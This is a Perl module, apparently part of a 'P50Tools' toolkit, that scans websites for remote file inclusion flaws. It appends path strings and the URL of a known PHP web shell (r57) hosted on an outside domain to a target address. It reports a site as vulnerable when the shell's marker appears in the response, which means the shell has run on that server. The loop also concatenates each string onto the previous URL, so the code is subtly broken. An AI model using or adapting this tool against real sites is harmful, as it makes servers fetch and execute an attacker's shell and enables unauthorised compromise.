| 1 | package P50Tools::RFIScan; | ||
| 2 | |||
| 3 | use warnings; | ||
| 4 | use strict; | ||
| 5 | use lib 'Strings'; | ||
| 6 | use Moose; | ||
| 7 | use HTTP::Request; | ||
| 8 | use LWP::UserAgent; | ||
| 9 | |||
| 10 | { | ||
| 11 | no strict "vars"; | ||
| 12 | $VERSION = '0.1'; | ||
| 13 | } | ||
| 14 | |||
| 15 | =head1 | ||
| 16 | For more information go to L<P50Tools>. | ||
| 17 | =cut | ||
| 18 | |||
| 19 | our @string; | ||
| 20 | has 'target' => (is => 'rw', isa => 'Str'); | ||
| 21 | has 'string_list' => (is => 'rw', | ||
| 22 | isa => 'Str', | ||
| 23 | default => 'nada'); | ||
| 24 | has 'php_shell' => (is => 'rw', | ||
| 25 | isa => 'Str', | ||
| 26 | default => 'http://www.sh3ll.org/r57.txt'); | ||
| 27 | has 'response' => (is => 'rw', | ||
| 28 | isa => 'Str', | ||
| 29 | default => 'r57shell'); | ||
| 30 | has 'output' => (is => 'rw', | ||
| 31 | isa => 'Str', | ||
| 32 | default => 'output.txt'); | ||
| 33 | sub scan{ | ||
| 34 | my $self = shift; | ||
| 35 | my $s1 = $self->target; | ||
| 36 | |||
| 37 | my $s3 = $self->php_shell; | ||
| 38 | my $s4 = $self->response; | ||
| 39 | my $s5 = $self->output; | ||
| 40 | |||
| 41 | $s1 .= "/" if ($s1 !~ m~(.+)/~gi); | ||
| 42 | $s1 = "http://" . $s1 if ($s1 !~ /^http:/); | ||
| 43 | unless ($self->string_list eq 'nada') { open IN, $self->string_list or die "Cannot open data: $!"; @string = <IN>;} | ||
| 44 | if ($self->string_list eq 'nada') {@string = <DATA>;} | ||
| 45 | open OUT,">>". $s5 or croak('Cannot create archive:\n' . $!); | ||
| 46 | my $return = "Scan " . $s1; | ||
| 47 | print "Start..\n"; | ||
| 48 | foreach (@string){ | ||
| 49 | print "String ", $_; | ||
| 50 | $_ .= $s3; | ||
| 51 | chomp $_; | ||
| 52 | $s1 .= $_ ; | ||
| 53 | my $req=HTTP::Request->new(GET=>$s1); | ||
| 54 | my $ua=LWP::UserAgent->new(); | ||
| 55 | $ua->timeout(20); | ||
| 56 | my $response = $ua->request($req); | ||
| 57 | if ($response->is_success) { | ||
| 58 | if( $response->content =~ $s4){ | ||
| 59 | print OUT "$s1\n"; | ||
| 60 | print "\t--> $s1 is vulnerable..\n"; | ||
| 61 | } | ||
| 62 | else { | ||
| 63 | print "\t--> Not vunerable..\n"; | ||
| 64 | } | ||
| 65 | } | ||
| 66 | else { | ||
| 67 | print "\t--> Not vunerable..\n"; | ||
| 68 | } | ||
| 69 | } | ||
| 70 | return $return; | ||
| 71 | } | ||
| 72 | no Moose; | ||
| 73 | 1; | ||
| 74 | |||
| 75 | __DATA__ |